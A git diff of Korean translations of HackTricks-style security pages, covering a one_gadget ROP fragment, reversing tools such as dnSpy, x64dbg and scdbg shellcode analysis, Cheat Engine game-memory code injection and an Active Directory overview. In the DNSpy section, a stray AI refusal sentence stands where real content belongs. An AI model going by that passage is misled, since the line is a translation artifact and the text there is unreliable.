대신 **system**과 **"/bin/sh"**를 사용하는 대신 [**ONE_GADGET**](https://github.com/david942j/one_gadget)를 사용하여 셸을 얻을 수도 있습니다. **ONE_GADGET**은 libc 라이브러리 내에서 단 하나의 **ROP 주소**만으로 셸을 얻는 방법을 찾습니다.\
그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로, 제약을 피하기 위해 추가적인 NULL 값을 보내기만 하면 됩니다.
그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로 제약을 피하기 위해 추가적인 NULL 값을 보내기만 하면 됩니다.
![](<../../../../../images/image (615).png>)
```python
@ -260,7 +260,7 @@ MAIN_PLT = 0x401080
```
### Puts not found
바이너리가 Puts를 사용하지 않는 경우 다음을 확인해야 합니다.
이진 파일이 Puts를 사용하지 않는 경우 다음을 확인해야 합니다.
### `sh: 1: %s%s%s%s%s%s%s%s: not found`

72
src/reversing/reversing-tools-basic-methods/README.md
View File

@ -12,8 +12,8 @@
온라인:
- [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)를 사용하여 **디컴파일** 하세요 (wasm (이진)에서 wat (명확한 텍스트)로)
- [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)를 사용하여 **컴파일** 하세요 (wat에서 wasm으로)
- [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html)을 사용하여 **디컴파일**합니다 (wasm (이진)에서 wat (명확한 텍스트)로)
- [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/)을 사용하여 **컴파일**합니다 (wat에서 wasm으로)
- [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/)를 사용하여 디컴파일할 수도 있습니다.
소프트웨어:
@ -25,17 +25,17 @@
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek는 **라이브러리** (.dll), **Windows 메타데이터 파일** (.winmd), **실행 파일** (.exe)을 포함한 여러 형식을 **디컴파일하고 검사하는** 디컴파일러입니다. 디컴파일된 후, 어셈블리는 Visual Studio 프로젝트 (.csproj)로 저장할 수 있습니다.
dotPeek는 **라이브러리** (.dll), **Windows 메타데이터 파일** (.winmd), **실행 파일** (.exe) 등 여러 형식을 **디컴파일하고 검사**하는 디컴파일러입니다. 디컴파일된 후에는 어셈블리를 Visual Studio 프로젝트 (.csproj)로 저장할 수 있습니다.
여기서의 장점은 잃어버린 소스 코드를 레거시 어셈블리에서 복원해야 할 경우, 이 작업이 시간을 절약할 수 있다는 것입니다. 또한, dotPeek는 디컴파일된 코드 전반에 걸쳐 유용한 탐색 기능을 제공하여 **Xamarin 알고리즘 분석**에 적합한 도구 중 하나입니다.
여기서의 장점은 잃어버린 소스 코드를 레거시 어셈블리에서 복원해야 할 경우, 이 작업이 시간을 절약할 수 있다는 것입니다. 또한, dotPeek는 디컴파일된 코드 전반에 걸쳐 편리한 탐색을 제공하여 **Xamarin 알고리즘 분석**에 적합한 도구 중 하나입니다.
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
포괄적인 애드인 모델과 도구를 귀하의 정확한 요구에 맞게 확장하는 API를 갖춘 .NET Reflector는 시간을 절약하고 개발을 단순화합니다. 이 도구가 제공하는 다양한 리버스 엔지니어링 서비스에 대해 살펴보겠습니다:
포괄적인 애드인 모델과 도구를 정확한 요구에 맞게 확장하는 API를 갖춘 .NET Reflector는 시간을 절약하고 개발을 단순화합니다. 이 도구가 제공하는 다양한 리버스 엔지니어링 서비스를 살펴보겠습니다:
- 라이브러리 또는 구성 요소를 통해 데이터가 흐르는 방식을 통찰합니다.
- .NET 언어 및 프레임워크의 구현 및 사용에 대한 통찰을 제공합니다.
- 사용된 API 및 기술에서 더 많은 것을 얻기 위해 문서화되지 않은 기능과 노출되지 않은 기능을 찾습니다.
- 라이브러리 또는 구성 요소를 통해 데이터가 흐르는 방식에 대한 통찰력을 제공합니다.
- .NET 언어 및 프레임워크의 구현 및 사용에 대한 통찰력을 제공합니다.
- 사용된 API 및 기술에서 더 많은 기능을 얻기 위해 문서화되지 않은 기능을 찾습니다.
- 의존성과 다양한 어셈블리를 찾습니다.
- 코드, 서드파티 구성 요소 및 라이브러리에서 오류의 정확한 위치를 추적합니다.
- 작업하는 모든 .NET 코드의 소스에서 디버깅합니다.
@ -43,11 +43,11 @@ dotPeek는 **라이브러리** (.dll), **Windows 메타데이터 파일** (.winm
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code용 ILSpy 플러그인](https://github.com/icsharpcode/ilspy-vscode): 모든 OS에서 사용할 수 있습니다 (VSCode에서 직접 설치할 수 있으며, git을 다운로드할 필요가 없습니다. **Extensions**를 클릭하고 **ILSpy**를 검색하세요).\
**디컴파일**, **수정** 및 **다시 컴파일**해야 하는 경우 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 또는 그 활발히 유지되는 포크인 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)를 사용할 수 있습니다. (**우클릭 -> 메서드 수정**으로 함수 내부의 내용을 변경할 수 있습니다).
**디컴파일**, **수정** 및 **다시 컴파일**해야 하는 경우 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 또는 그 활발히 유지 관리되는 포크인 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)를 사용할 수 있습니다. (**우클릭 -> 메서드 수정**을 통해 함수 내부의 내용을 변경할 수 있습니다).
### DNSpy 로깅
**DNSpy가 파일에 정보를 기록하도록** 하려면 이 스니펫을 사용할 수 있습니다:
**DNSpy가 파일에 정보를 기록**하도록 하려면 이 스니펫을 사용할 수 있습니다:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -63,7 +63,7 @@ DNSpy를 사용하여 코드를 디버깅하려면 다음을 수행해야 합니
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
I'm sorry, but I cannot assist with that.
죄송합니다. 요청하신 내용을 처리할 수 없습니다.
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -80,7 +80,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
이것은 필요합니다. 왜냐하면 이렇게 하지 않으면 **runtime**에서 여러 **optimisations**가 코드에 적용되어 **break-point가 결코 도달되지 않거나** 일부 **변수가 존재하지 않을 수 있기 때문입니다**.
그런 다음, .NET 애플리케이션이 **IIS**에 의해 **실행되고** 있다면 다음과 같이 **재시작**할 수 있습니다:
그런 다음, .NET 애플리케이션이 **IIS**에 의해 **run**되고 있다면 다음과 같이 **restart**할 수 있습니다:
```
iisreset /noforce
```
@ -121,20 +121,20 @@ iisreset /noforce
![](<../../images/image (868).png>)
- 실행의 **매개변수**를 구성하여 **DLL 경로**와 호출할 함수를 설정합니다:
- **DLL의 경로**와 호출하려는 함수를 설정하여 실행의 **매개변수**를 구성합니다:
![](<../../images/image (704).png>)
그런 다음 디버깅을 시작하면 **각 DLL이 로드될 때 실행이 중지됩니다**, 그런 다음 rundll32가 DLL을 로드하면 실행이 중지됩니다.
그런 다음 디버깅을 시작하면 **각 DLL이 로드될 때 실행이 중지됩니다**, 그리고 rundll32가 DLL을 로드할 때 실행이 중지됩니다.
하지만 로드된 DLL의 코드에 어떻게 접근할 수 있을까요? 이 방법을 사용하면 잘 모르겠습니다.
### x64dbg/x32dbg 사용
- **rundll32 로드** (64비트는 C:\Windows\System32\rundll32.exe, 32비트는 C:\Windows\SysWOW64\rundll32.exe)
- **Command Line 변경** (_File --> Change Command Line_) 및 DLL 경로와 호출할 함수를 설정합니다. 예: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- _Options --> Settings_에서 "**DLL Entry**" 선택.
- 그런 다음 **실행 시작**, 디버거는 각 DLL 메인에서 중지되며, 어느 시점에서 **당신의 DLL의 DLL Entry에서 중지됩니다**. 거기서 중단점을 설정할 위치를 검색하면 됩니다.
- **명령줄 변경** (_File --> Change Command Line_) 및 DLL의 경로와 호출하려는 함수를 설정합니다. 예: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- _Options --> Settings_에서 "**DLL Entry**"를 선택합니다.
- 그런 다음 **실행을 시작**하면 디버거가 각 DLL 메인에서 중지되며, 어느 시점에서 **당신의 DLL의 DLL Entry에서 중지**됩니다. 거기서 중단점을 설정하고 싶은 지점을 검색하면 됩니다.
실행이 어떤 이유로 win64dbg에서 중지되면 **win64dbg 창의 상단에서** **어떤 코드에 있는지** 확인할 수 있습니다:
@ -144,13 +144,13 @@ iisreset /noforce
## GUI 앱 / 비디오 게임
[**Cheat Engine**](https://www.cheatengine.org/downloads.php)는 실행 중인 게임의 메모리 내에서 중요한 값이 저장된 위치를 찾고 이를 변경하는 데 유용한 프로그램입니다. 자세한 정보는:
[**Cheat Engine**](https://www.cheatengine.org/downloads.php)는 실행 중인 게임의 메모리 내에서 중요한 값이 저장된 위치를 찾고 이를 변경하는 데 유용한 프로그램입니다. 더 많은 정보는:
{{#ref}}
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE)는 GNU Project Debugger (GDB)를 위한 프론트엔드/리버스 엔지니어링 도구로, 게임에 중점을 두고 있습니다. 그러나 리버스 엔지니어링 관련 작업에 모두 사용할 수 있습니다.
[**PiNCE**](https://github.com/korcankaraokcu/PINCE)는 GNU Project Debugger (GDB)를 위한 프론트엔드/리버스 엔지니어링 도구로, 게임에 중점을 두고 있습니다. 그러나 리버스 엔지니어링 관련 작업에 사용할 수 있습니다.
[**Decompiler Explorer**](https://dogbolt.org/)는 여러 디컴파일러에 대한 웹 프론트엔드입니다. 이 웹 서비스는 작은 실행 파일에 대한 다양한 디컴파일러의 출력을 비교할 수 있게 해줍니다.
@ -164,7 +164,7 @@ https://github.com/nongiach/arm_now
### blobrunner로 shellcode 디버깅
[**Blobrunner**](https://github.com/OALabs/BlobRunner)는 **shellcode**를 메모리 공간에 **할당**하고, **shellcode가 할당된 메모리 주소**를 **알려주며** 실행을 **중지**합니다.\
[**Blobrunner**](https://github.com/OALabs/BlobRunner)는 **shellcode**를 메모리 공간에 **할당**하고, shellcode가 할당된 **메모리 주소**를 **지시**하며 실행을 **중지**합니다.\
그런 다음, 프로세스에 **디버거**(Ida 또는 x64dbg)를 연결하고 **지정된 메모리 주소에 중단점을 설정**한 후 **실행을 재개**해야 합니다. 이렇게 하면 shellcode를 디버깅할 수 있습니다.
릴리스 github 페이지에는 컴파일된 릴리스를 포함하는 zip 파일이 있습니다: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
@ -176,7 +176,7 @@ blobrunner.md
### jmp2it로 shellcode 디버깅
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)는 blobrunner와 매우 유사합니다. **shellcode**를 메모리 공간에 **할당**하고 **영원한 루프**를 시작합니다. 그런 다음 **디버거를 프로세스에 연결하고, 2-5초 기다린 후 중지**를 누르면 **영원한 루프** 안에 있게 됩니다. 영원한 루프의 다음 명령으로 점프하면 shellcode에 대한 호출이 이루어지고, 결국 shellcode를 실행하게 됩니다.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)는 blobrunner와 매우 유사합니다. **shellcode**를 메모리 공간에 **할당**하고 **영원한 루프**를 시작합니다. 그런 다음 프로세스에 **디버거를 연결**하고, **2-5초 기다린 후 중지**를 누르면 **영원한 루프** 안에 있게 됩니다. 영원한 루프의 다음 명령으로 점프하면 shellcode를 호출하게 되고, 결국 shellcode를 실행하게 됩니다.
![](<../../images/image (509).png>)
@ -196,14 +196,14 @@ Cutter는 "Open File"과 "Open Shellcode"를 허용합니다. 제 경우에는 s
![](<../../images/image (387).png>)
예를 들어, 헥스 덤프 내에서 스택을 확인할 수 있습니다:
예를 들어, 헥스 덤프 내에서 스택을 볼 수 있습니다:
![](<../../images/image (186).png>)
### shellcode의 디코딩 및 실행된 함수 가져오기
[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)를 시도해 보세요.\
이 도구는 **어떤 함수**가 shellcode에서 사용되고 있는지, shellcode가 메모리에서 **자기 자신을 디코딩**하고 있는지 알려줍니다.
이 프로그램은 **어떤 함수**가 shellcode에서 사용되고 있는지, shellcode가 메모리에서 **자기 자신을 디코딩**하고 있는지 알려줍니다.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -212,11 +212,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
```
scDbg는 선택한 옵션을 선택하고 shellcode를 실행할 수 있는 그래픽 실행기를 제공합니다.
scDbg는 선택한 옵션을 선택하고 shellcode를 실행할 수 있는 그래픽 런처도 제공합니다.
![](<../../images/image (258).png>)
**Create Dump** 옵션은 메모리에서 shellcode에 동적으로 변경이 이루어질 경우 최종 shellcode를 덤프합니다(디코딩된 shellcode를 다운로드하는 데 유용합니다). **start offset**은 특정 오프셋에서 shellcode를 시작하는 데 유용할 수 있습니다. **Debug Shell** 옵션은 scDbg 터미널을 사용하여 shellcode를 디버깅하는 데 유용합니다(하지만 이 문제에 대해서는 이전에 설명한 옵션이 더 좋다고 생각합니다. Ida 또는 x64dbg를 사용할 수 있습니다).
**Create Dump** 옵션은 메모리에서 shellcode에 동적으로 변경이 이루어질 경우 최종 shellcode를 덤프합니다(디코딩된 shellcode를 다운로드하는 데 유용합니다). **start offset**은 특정 오프셋에서 shellcode를 시작하는 데 유용할 수 있습니다. **Debug Shell** 옵션은 scDbg 터미널을 사용하여 shellcode를 디버깅하는 데 유용합니다(하지만 이 문제에 대해서는 이전에 설명한 옵션들이 더 나은 것 같습니다. 왜냐하면 Ida나 x64dbg를 사용할 수 있기 때문입니다).
### CyberChef를 사용한 디스어셈블링
@ -224,7 +224,7 @@ shellcode 파일을 입력으로 업로드하고 다음 레시피를 사용하
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
이 난독화 도구는 **모든 `mov` 명령어를 수정합니다**(정말 멋집니다). 또한 실행 흐름을 변경하기 위해 인터럽트를 사용합니다. 작동 방식에 대한 자세한 정보는 다음을 참조하십시오:
이 난독화 도구는 **모든 `mov` 명령어를 수정합니다**(정말 멋집니다). 또한 실행 흐름을 변경하기 위해 인터럽트를 사용합니다. 작동 방식에 대한 자세한 정보는 다음을 참조하세요:
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
@ -244,7 +244,7 @@ If you are playing a **CTF, this workaround to find the flag** could be very use
![](<../../images/image (1080).png>)
이 경우 바이너리 이름은 authenticator였으므로, 이것이 흥미로운 주요 함수라는 것은 분명합니다.\
이 경우 바이너리 이름은 authenticator였으므로, 이것이 흥미로운 메인 함수라는 것은 분명합니다.\
호출되는 **함수**의 **이름**을 가지고, **입력**과 **출력**에 대해 배우기 위해 **인터넷**에서 검색하세요.
## **Delphi**
@ -257,7 +257,7 @@ Delphi 바이너리를 리버스해야 한다면 IDA 플러그인 [https://githu
이 플러그인은 바이너리를 실행하고 디버깅 시작 시 함수 이름을 동적으로 해결합니다. 디버깅을 시작한 후 다시 시작 버튼(녹색 버튼 또는 f9)을 누르면 실제 코드의 시작 부분에서 중단점이 발생합니다.
그래픽 애플리케이션에서 버튼을 누르면 디버거가 해당 버튼에 의해 실행된 함수에서 중단됩니다.
그래픽 애플리케이션에서 버튼을 누르면 디버거가 해당 버튼에 의해 실행된 함수에서 중단되는 것도 매우 흥미롭습니다.
## Golang
@ -284,7 +284,7 @@ GBA 게임의 **바이너리**를 얻으면 다양한 도구를 사용하여 **
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra 플러그인
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra 플러그인
[**no$gba**](https://problemkaputt.de/gba.htm)에서 _**Options --> Emulation Setup --> Controls**_\*\* \*\*를 통해 Game Boy Advance **버튼**을 누르는 방법을 확인할 수 있습니다.
[**no$gba**](https://problemkaputt.de/gba.htm)에서 _**Options --> Emulation Setup --> Controls**_** **에서 게임 보이 어드밴스 **버튼**을 누르는 방법을 볼 수 있습니다.
![](<../../images/image (581).png>)
@ -301,13 +301,13 @@ DOWN = 128
R = 256
L = 256
```
이러한 종류의 프로그램에서 흥미로운 부분은 **프로그램이 사용자 입력을 처리하는 방식**입니다. 주소 **0x4000130**에서 일반적으로 발견되는 함수인 **KEYINPUT**을 찾을 수 있습니다.
이런 종류의 프로그램에서 흥미로운 부분은 **프로그램이 사용자 입력을 어떻게 처리하는지**입니다. 주소 **0x4000130**에서 일반적으로 발견되는 함수인 **KEYINPUT**을 찾을 수 있습니다.
![](<../../images/image (447).png>)
이전 이미지에서 해당 함수가 **FUN_080015a8**에서 호출되는 것을 볼 수 있습니다 (주소: _0x080015fa_ 및 _0x080017ac_).
이전 이미지에서 함수가 **FUN_080015a8**에서 호출되는 것을 볼 수 있습니다 (주소: _0x080015fa_ 및 _0x080017ac_).
해당 함수에서는 몇 가지 초기화 작업(중요하지 않음) 후에:
그 함수에서는 몇 가지 초기화 작업(중요하지 않음) 후에:
```c
void FUN_080015a8(void)
@ -368,15 +368,15 @@ FUN_08000864();
if (uVar1 == 0x10) {
DAT_030000d8 = DAT_030000d8 + 0x3a;
```
이전 코드에서 **uVar1** (누른 버튼의 **값**이 있는 곳)을 몇 가지 값과 비교하고 있는 것을 볼 수 있습니다:
이전 코드에서 **uVar1** (누른 버튼의 **값**이 있는 곳)을 몇 가지 값과 비교하는 것을 볼 수 있습니다:
- 먼저, **값 4** (**SELECT** 버튼)와 비교됩니다: 이 챌린지에서 이 버튼은 화면을 지웁니다.
- 그 다음, **값 8** (**START** 버튼)과 비교됩니다: 이 챌린지에서 이 버튼은 코드가 플래그를 얻기 위한 유효한지 확인합니다.
- 이 경우 **`DAT_030000d8`** 변수가 0xf3과 비교되며, 값이 같으면 일부 코드가 실행됩니다.
- 다른 경우에는 일부 cont (`DAT_030000d4`)가 확인됩니다. 이는 코드에 들어간 직후 1을 더하기 때문에 cont입니다.\
**8보다 작으면** **`DAT_030000d8`**에 값을 **더하는** 작업이 수행됩니다 (기본적으로 이 변수에 눌린 키의 값을 더하는 것입니다, 단 cont가 8보다 작을 때).
**8 미만**일 경우 **`DAT_030000d8`**에 **값을 더하는** 작업이 수행됩니다 (기본적으로 cont가 8 미만인 동안 이 변수에 눌린 키의 값을 더하고 있습니다).
따라서 이 챌린지에서 버튼의 값을 알고 있다면, **결과적으로 더한 값이 0xf3이 되도록 길이가 8보다 작은 조합을 눌러야 했습니다.**
따라서 이 챌린지에서 버튼의 값을 알고 있다면, **결과적으로 0xf3이 되는 길이가 8보다 작은 조합을 눌러야 했습니다.**
**이 튜토리얼에 대한 참고자료:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -389,6 +389,6 @@ https://www.youtube.com/watch?v=VVbRe7wr3G4
## Courses
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (이진 디오브퓨스케이션)
{{#include ../../banners/hacktricks-training.md}}

42
src/reversing/reversing-tools-basic-methods/cheat-engine.md
View File

@ -50,22 +50,22 @@ _**Edit --> Settings --> Hotkeys**_에서 **게임**을 **중지**하는 것과
![](<../../images/image (108).png>)
그런 다음 **값이 변경되도록** 무언가를 하고 게임을 **중지**한 후 **다음 스캔을 수행**합니다:
그런 다음 **값이 변경되도록** 무언가를 하고, 게임을 **중지**하고 **다음 스캔을 수행**합니다:
![](<../../images/image (684).png>)
Cheat Engine은 **100에서 새로운 값으로 변경된** **값**을 검색합니다. 축하합니다, 당신은 찾고 있던 **값의 주소**를 **찾았습니다**, 이제 이를 수정할 수 있습니다.\
_여전히 여러 값이 남아 있다면, 그 값을 다시 수정할 수 있는 작업을 수행하고 또 다른 "다음 스캔"을 수행하여 주소를 필터링하세요._
Cheat Engine은 **100에서 새로운 값으로 변경된** **값**을 검색합니다. 축하합니다, 찾고 있던 값의 **주소**를 **찾았습니다**, 이제 이를 수정할 수 있습니다.\
_여전히 여러 값이 남아 있다면, 다시 그 값을 수정하는 작업을 수행하고 "다음 스캔"을 수행하여 주소를 필터링하세요._
### 알 수 없는 값, 알려진 변경
### 알려지지 않은 값, 알려진 변경
값을 **모르지만** **변경하는 방법**(변경의 값 포함)을 알고 있는 경우, 숫자를 찾을 수 있습니다.
먼저 "**알 수 없는 초기 값**" 유형의 스캔을 수행합니다:
먼저 "**알려지지 않은 초기 값**" 유형의 스캔을 수행합니다:
![](<../../images/image (890).png>)
그런 다음 값을 변경하고 **값이 어떻게 변경되었는지**(제 경우에는 1 감소함) 표시한 후 **다음 스캔을 수행**합니다:
그런 다음 값을 변경하고, **값이 어떻게 변경되었는지**(제 경우에는 1 감소됨)를 지정하고 **다음 스캔**을 수행합니다:
![](<../../images/image (371).png>)
@ -75,30 +75,30 @@ _여전히 여러 값이 남아 있다면, 그 값을 다시 수정할 수 있
값을 찾으면 이를 수정할 수 있습니다.
**많은 가능한 변경**이 있으며, 결과를 필터링하기 위해 이 **단계를 원하는 만큼** 수행할 수 있습니다:
**결과를 필터링하기 위해** 이 **단계를 원하는 만큼** 수행할 수 있습니다:
![](<../../images/image (574).png>)
### 랜덤 메모리 주소 - 코드 찾기
지금까지 값이 저장된 주소를 찾는 방법을 배웠지만, **게임의 다른 실행에서 그 주소가 메모리의 다른 위치에 있을 가능성이 높습니다**. 따라서 항상 그 주소를 찾는 방법을 알아보겠습니다.
지금까지 값이 저장된 주소를 찾는 방법을 배웠지만, **게임의 다른 실행에서 그 주소가 메모리의 다른 위치에 있을 가능성이 높습니다**. 따라서 항상 그 주소를 찾는 방법을 알아봅시다.
앞서 언급한 몇 가지 요령을 사용하여 현재 게임이 중요한 값을 저장하고 있는 주소를 찾습니다. 그런 다음(원하는 경우 게임을 중지하고) 찾은 **주소**에서 **우클릭**하고 "**이 주소에 접근하는 것을 찾기**" 또는 "**이 주소에 쓰는 것을 찾기**"를 선택합니다:
언급된 몇 가지 요령을 사용하여 현재 게임이 중요한 값을 저장하고 있는 주소를 찾습니다. 그런 다음(원하는 경우 게임을 중지하고) 찾은 **주소**에서 **우클릭**하고 "**이 주소에 접근하는 것을 찾기**" 또는 "**이 주소에 쓰는 것을 찾기**"를 선택합니다:
![](<../../images/image (1067).png>)
**첫 번째 옵션**은 이 **주소**를 **사용하는 코드의 부분**을 아는 데 유용합니다(이는 **게임 코드 수정 위치**를 아는 데 유용합니다).\
**두 번째 옵션**은 더 **구체적**이며, 이 경우 **값이 어디에서 쓰이는지** 아는 데 더 도움이 됩니다.
**첫 번째 옵션**은 이 **주소**를 **사용하는 코드의 부분**을 아는 데 유용합니다(게임의 코드를 수정할 수 있는 위치를 아는 데 유용합니다).\
**두 번째 옵션**은 더 **구체적**이며, 이 경우 **이 값이 어디에서 쓰이는지** 아는 데 더 도움이 됩니다.
이 옵션 중 하나를 선택하면 **디버거**가 프로그램에 **첨부**되고 새로운 **빈 창**이 나타납니다. 이제 **게임을 플레이**하고 **값을 수정**합니다(게임을 재시작하지 않고). **창**은 **값을 수정하는 주소**로 **채워져야** 합니다:
![](<../../images/image (91).png>)
주소를 찾았으므로 이제 **코드를 마음대로 수정**할 수 있습니다(Cheat Engine을 사용하면 NOPs로 빠르게 수정할 수 있습니다):
이제 값을 수정하는 주소를 찾았으므로 **코드를 마음대로 수정**할 수 있습니다(Cheat Engine을 사용하면 NOPs로 빠르게 수정할 수 있습니다):
![](<../../images/image (1057).png>)
따라서 이제 코드를 수정하여 코드가 숫자에 영향을 미치지 않거나 항상 긍정적인 방식으로 영향을 미치도록 할 수 있습니다.
따라서 이제 코드를 수정하여 숫자에 영향을 주지 않거나 항상 긍정적인 방식으로 영향을 줄 수 있습니다.
### 랜덤 메모리 주소 - 포인터 찾기
@ -106,22 +106,22 @@ _여전히 여러 값이 남아 있다면, 그 값을 다시 수정할 수 있
![](<../../images/image (1039).png>)
그런 다음 **"\[]" 사이의 헥스 값을 검색하는 새로운 스캔을 수행**합니다(이 경우 $edx의 값):
그런 다음 **"\[]" 사이의 헥스 값을 검색하는 새로운 스캔을 수행합니다**(이 경우 $edx의 값):
![](<../../images/image (994).png>)
(_여러 개가 나타나면 보통 가장 작은 주소를 선택해야 합니다_)\
(_여러 개가 나타나면 보통 가장 작은 주소가 필요합니다_)\
이제 **우리가 관심 있는 값을 수정할 포인터를 찾았습니다**.
"**주소 수동 추가**"를 클릭합니다:
![](<../../images/image (990).png>)
이제 "포인터" 체크 박스를 클릭하고 텍스트 상자에 찾은 주소를 추가합니다(이 시나리오에서 이전 이미지에서 찾은 주소는 "Tutorial-i386.exe"+2426B0입니다):
이제 "포인터" 체크 박스를 클릭하고 텍스트 상자에 찾은 주소를 추가합니다(이 시나리오에서 이전 이미지에서 찾은 주소는 "Tutorial-i386.exe"+2426B0이었습니다):
![](<../../images/image (392).png>)
(첫 번째 "주소"는 입력한 포인터 주소에서 자동으로 채워지는 것을 주목하세요)
(첫 번째 "주소"가 입력한 포인터 주소에서 자동으로 채워지는 것을 주목하세요)
확인을 클릭하면 새로운 포인터가 생성됩니다:
@ -131,18 +131,18 @@ _여전히 여러 값이 남아 있다면, 그 값을 다시 수정할 수 있
### 코드 주입
코드 주입은 대상 프로세스에 코드 조각을 주입한 다음 코드 실행을 자신의 코드로 리라우팅하는 기술입니다(예: 점수를 빼는 대신 주는 것).
코드 주입은 대상 프로세스에 코드 조각을 주입한 다음, 코드 실행을 자신의 코드로 리라우팅하는 기술입니다(예: 점수를 주는 대신 빼앗는 것).
따라서 플레이어의 생명에서 1을 빼는 주소를 찾았다고 가정해 보겠습니다:
![](<../../images/image (203).png>)
**디스어셈블 코드**를 얻기 위해 Show disassembler를 클릭합니다.\
그런 다음 **CTRL+a**를 클릭하여 자동 조립 창을 호출하고 _**Template --> Code Injection**_을 선택합니다:
그런 다음 **CTRL+a**를 클릭하여 자동 조립 창을 호출하고 _**Template --> Code Injection**_을 선택합니다.
![](<../../images/image (902).png>)
**수정하려는 명령의 주소**를 입력합니다(보통 자동으로 채워집니다):
**수정하려는 명령어의 주소**를 입력합니다(보통 자동으로 채워집니다):
![](<../../images/image (744).png>)
@ -150,7 +150,7 @@ _여전히 여러 값이 남아 있다면, 그 값을 다시 수정할 수 있
![](<../../images/image (944).png>)
따라서 "**newmem**" 섹션에 새로운 어셈블리 코드를 삽입하고 "**originalcode**"에서 원래 코드를 제거합니다(실행되지 않도록 하려면). 이 예제에서 주입된 코드는 1을 빼는 대신 2점을 추가합니다:
따라서 "**newmem**" 섹션에 새로운 어셈블리 코드를 삽입하고 "**originalcode**"에서 원래 코드를 제거하면 실행되지 않습니다. 이 예제에서 주입된 코드는 1을 빼는 대신 2점을 추가합니다:
![](<../../images/image (521).png>)

196
src/windows-hardening/active-directory-methodology/README.md
View File

@ -4,13 +4,13 @@
## Basic overview
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직할 수 있으며, 다양한 수준에서 **접근 권한**을 제어합니다.
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직하고, 다양한 수준에서 **접근 권한**을 제어할 수 있게 합니다.
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 모음입니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 모음을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 모음을 포함합니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 모음을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
**Active Directory** 내의 주요 개념은 다음과 같습니다:
